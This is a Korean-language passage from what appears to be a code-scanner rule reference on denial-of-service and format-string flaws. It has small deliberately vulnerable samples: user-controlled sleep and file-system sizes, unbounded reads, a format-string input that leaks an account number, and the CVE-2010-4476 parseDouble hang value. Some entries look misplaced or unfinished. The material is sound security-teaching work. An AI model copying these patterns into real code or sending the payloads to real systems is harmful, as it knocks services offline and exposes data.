공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드를 사용하면 사용할 file system의 크기를 사용자가 지정할 수 있습니다. 공격자가 큰 수를 지정하여 file system 리소스를 고갈시킬 수 있습니다.


var fsync = requestFileSystemSync(0, userInput);
예제 2: 다음 코드는 파일에 작성합니다. 사용자 에이전트에 의해 닫힌 것으로 간주될 때까지 파일은 계속 작성 및 다시 작성될 수 있기 때문에 파일 내용 분석이 필요할 수도 있는 디스크 할당량, IO 대역폭 및 프로세스가 영향을 받습니다.


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
desc.dataflow.javascript.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.
desc.dataflow.php.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드는 시스템에서 추가 처리가 지연되는 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 시스템을 무기한으로 지연시킬 수 있습니다.


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
desc.dataflow.sql.denial_of_service
Abstract
할일
Explanation
할일
desc.dataflow.python.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드는 스레드가 절전 모드인 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 스레드를 무기한으로 지연시킬 수 있습니다. 적은 수의 요청으로 공격자가 응용 프로그램의 스레드 풀을 고갈시킬 수 있습니다.


Kernel.sleep(user_input)
예제 2: 다음 코드는 파일에서 문자열을 읽습니다. 이 코드에서는 제한을 지정하지 않고 readline() 메서드를 사용하기 때문에 범위 지정 없는 양의 입력을 읽습니다. 공격자는 이 코드를 활용하여 프로세스가 응답하지 않으면서 점점 더 많은 메모리를 소모하도록 할 수 있으며, 이러한 공격은 메모리를 완전히 소진할 때까지 계속될 수 있습니다.


fd = File.new(myFile)
line = fd.readline
desc.dataflow.ruby.denial_of_service
Abstract
사용자 입력이 형식 매개 변수를 제어하는 것을 허용하면 공격자가 예외를 발생시키거나 정보를 누출할 수 있습니다.
Explanation
공격자는 예외가 발생하도록 형식 문자열 인수를 수정할 수 있습니다. 이 예외를 catch하지 않은 상태로 유지하면 응용 프로그램이 중단될 수 있습니다. 또한 다른 인수 내에서 민감한 정보를 사용하는 경우에는 공격자가 형식 문자열을 변경하여 이 정보를 노출시킬 수 있습니다.

예제 1: 다음 코드는 사용자가 Formatter.format()에 대한 형식 문자열 인수를 지정할 수 있도록 합니다.


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


사용자는 이 프로그램을 통해 잔고를 표시할 소수점의 수를 지정할 수 있습니다. 그러나 실제로 소수점의 수는 제한되지 않습니다. 사용자가 특정 항목을 지정할 수 있으면 java.util.MissingFormatArgumentException 등의 예외가 발생할 수 있으며, 이 예외는 try 블록 내에 있지 않으므로 응용 프로그램 실패로 이어질 수 있습니다.
그러나 이 예제 내에서 더욱 중요한 점은, 공격자가 사용자 입력 "2f %3$s %4$.2"를 지정할 수 있는 경우 형식 문자열은 "The customer: %s %s has the balance %4$.2f %3$s %4$.2"가 된다는 것입니다. 그러면 결과 문자열 내에 민감한 정보인 accountNo가 포함됩니다.
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[7] Standards Mapping - Common Weakness Enumeration CWE ID 730
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - OWASP Top 10 2017 A1 Injection
[14] Standards Mapping - OWASP Top 10 2021 A03 Injection
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[49] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[50] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
프로그램은 double을 구문 분석하고 스레드가 응답하지 않도록 만들 수 있는 메서드를 호출합니다.
Explanation
java.lang.Double.parseDouble()[2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] 범위에 있는 임의의 수를 구문 분석할 때 스레드가 응답하지 않도록 만들 수 있는 관련된 메서드의 구현에 취약점이 있습니다. 이 결함은 DoS(Denial of Service) 공격을 실행하는 데 사용될 수 있습니다.

예제 1: 다음 코드는 취약한 메서드를 사용합니다.

Double d = Double.parseDouble(request.getParameter("d"));


매개 변수 d가 해당 범위의 값(예: "0.0222507385850720119e-00306")인 경우, 공격자가 요청을 보내 요청을 처리하는 동안 프로그램이 응답하지 않도록 만들 수 있습니다.

이 취약성은 Java 버전 6 업데이트 23 이하 버전에서 나타나며, Java 버전 6 업데이트 24 이상 버전에서는 나타나지 않습니다.
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[8] Standards Mapping - Common Weakness Enumeration CWE ID 400
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[15] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double